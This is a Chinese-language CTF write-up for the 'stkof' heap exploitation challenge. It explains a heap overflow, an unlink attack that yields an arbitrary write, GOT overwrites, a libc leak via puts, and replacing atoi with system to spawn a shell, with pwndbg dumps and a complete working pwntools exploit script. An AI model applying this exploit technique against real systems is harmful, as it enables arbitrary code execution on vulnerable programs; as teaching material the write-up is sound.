stkof
循环输入
64位,dynamically,开了Canary,开了NX
代码分析
程序有4种选择:
一,申请可以输出大小的chunk,把它的“fd”指针装入“list”
二,输入“index”,输入“size”,输入写入的内容
// 这种写入方式还是比较稀奇的
三,输入“index”,然后free掉对应的chunk,并把指针置空
四,输入“index”,打印一个字符串
入侵思路
先搭好框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def alloc(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil('OK\n') def fill(index,size,content): p.sendline(str(2)) p.sendline(str(index)) p.sendline(str(size)) p.send(content) p.recvuntil('OK\n')
def free(index): p.sendline(str(3)) p.sendline(str(index)) def printf(index): p.sendline(str(4)) p.sendline(str(index)) p.recvuntil('OK\n')
|
本程序没有栈溢出,但是有堆溢出(“ fill的size ”可以大于“ alloc的size ”)
那么思路就明确了:
利用“Unlink攻击”实现WAA,把got表中的某个函数改为“ system(“/bin/sh”) ”
注意:
本程序没有设置“无缓存”,所以在初次调用“fgets”和“puts”时,malloc都会分配缓冲区
没有执行任何操作时:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0xe05000 Size: 0x291
Allocated chunk | PREV_INUSE Addr: 0xe05290 Size: 0x411
Allocated chunk | PREV_INUSE Addr: 0xe056a0 Size: 0x411
Top chunk | PREV_INUSE Addr: 0xe05ab0 Size: 0x20551
|
这里的“0xe05290”和“0xe056a0”就是“输入”和“输出”申请的缓存区,为了排除缓存区干扰,应该先生成一个“无关chunk”
1 2 3 4 5 6 7 8 9 10 11 12
| alloc(0x100) alloc(0x30) alloc(0x90)
list_addr=0x602140 payload=p64(0)+p64((0x30-0x10)) payload+=p64(list_addr+0x10-0x18) payload+=p64(list_addr+0x10-0x10) payload+=p64(0x20)+p64(0)
payload+=p64(0x30)+p64(0x90) fill(2,len(payload),payload)
|
1 2 3 4 5 6 7
| pwndbg> x/100xg 0x00000000019cd7c0 0x19cd7c0: 0x0000000000000000 0x0000000000000041 0x19cd7d0: 0x0000000000000000 0x0000000000000020 0x19cd7e0: 0x0000000000602138 0x0000000000602140 0x19cd7f0: 0x0000000000000020 0x0000000000000000 0x19cd800: 0x0000000000000030 0x0000000000000090 0x19cd810: 0x0000000000000000 0x0000000000000000
|
“ free(3) ”执行以后:
1 2 3 4 5
| pwndbg> x/10xg 0x602140 0x602140: 0x0000000000000000 0x0000000000e0a020 0x602150: 0x0000000000602138 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000
|
现在Unlink攻击已经完成,chunk2的“fd”被伪造成了“ list-0x8”(chunk2[-3])
1 2 3 4 5
| payload='a'*0x8 payload+=p64(elf.got['free']) payload+=p64(elf.got['puts']) payload+=p64(elf.got['atoi']) fill(2,len(payload),payload)
|
1 2 3 4 5
| pwndbg> telescope 0x602140 00:0000│ 0x602140 —▸ 0x602018 (free@got.plt) —▸ 0x7f3bd8967540 (free) ◂— push r13 01:0008│ 0x602148 —▸ 0x602020 (puts@got.plt) —▸ 0x7f3bd89526a0 (puts) ◂— push r12 02:0010│ 0x602150 —▸ 0x602088 (atoi@got.plt) —▸ 0x7f3bd8919e90 (atoi) ◂— sub rsp, 8 03:0018│ 0x602158 ◂— 0x0
|
现在WAA已经完成了,用“fill”填入数据就可以了,首先修改“free”为“puts”,泄露“puts_got”获取“libc_base”:
1 2 3 4 5 6 7 8 9
| payload = p64(elf.plt['puts']) fill(0,len(payload),payload) free(1) p.recvuntil('OK\n') puts_libc=p.recvuntil('OK\n')[:-4].ljust(8,'\x00') puts_libc=u64(puts_libc) success('puts_libc >> '+hex(puts_libc)) libc_base=puts_libc-libc.sym['puts'] success('libc_base >> '+hex(libc_base))
|
最后获取“system”,把“atoi”改为“system”,输入“/bin/sh”作为“system”(atoi)的参数
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import*
p=process('./stkof') elf=ELF('./stkof') libc=ELF('./libc-2.23.so')
def alloc(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil('OK\n') def fill(index,size,content): p.sendline(str(2)) p.sendline(str(index)) p.sendline(str(size)) p.send(content) p.recvuntil('OK\n')
def free(index): p.sendline(str(3)) p.sendline(str(index)) def printf(index): p.sendline(str(4)) p.sendline(str(index)) p.recvuntil('OK\n')
alloc(0xa0) alloc(0xa0) alloc(0xa0)
list_addr=0x602140+0x10 payload=p64(0)+p64(0xa0) payload+=p64(list_addr-0x18) payload+=p64(list_addr-0x10) payload=payload.ljust(0xa0,'\x00') payload+=p64(0xa0)+p64(0xb0)
fill(2,0xb0,payload) free(3)
payload=p64(0) payload+=p64(elf.got['free']) payload+=p64(elf.got['puts']) payload+=p64(elf.got['atoi']) fill(2,len(payload),payload)
payload = p64(elf.plt['puts']) fill(0,len(payload),payload) free(1) p.recvuntil('OK\n') puts_libc=p.recvuntil('OK\n')[:-4].ljust(8,'\x00') puts_libc=u64(puts_libc) success('puts_libc >> '+hex(puts_libc)) libc_base=puts_libc-libc.sym['puts'] success('libc_base >> '+hex(libc_base))
system_libc=libc_base+libc.sym['system'] success('system_libc >> '+hex(system_libc)) payload = p64(system_libc) fill(2,len(payload),payload) p.sendline('/bin/sh')
p.interactive()
|
PS:
本程序libc版本为“2.23”,使用“2.31”版本打不通,用GDB调试后发现chunk根本没有合并,可能是高版本的libc增加了更多的检查,掐掉了unlink攻击,至于是什么检查以后学习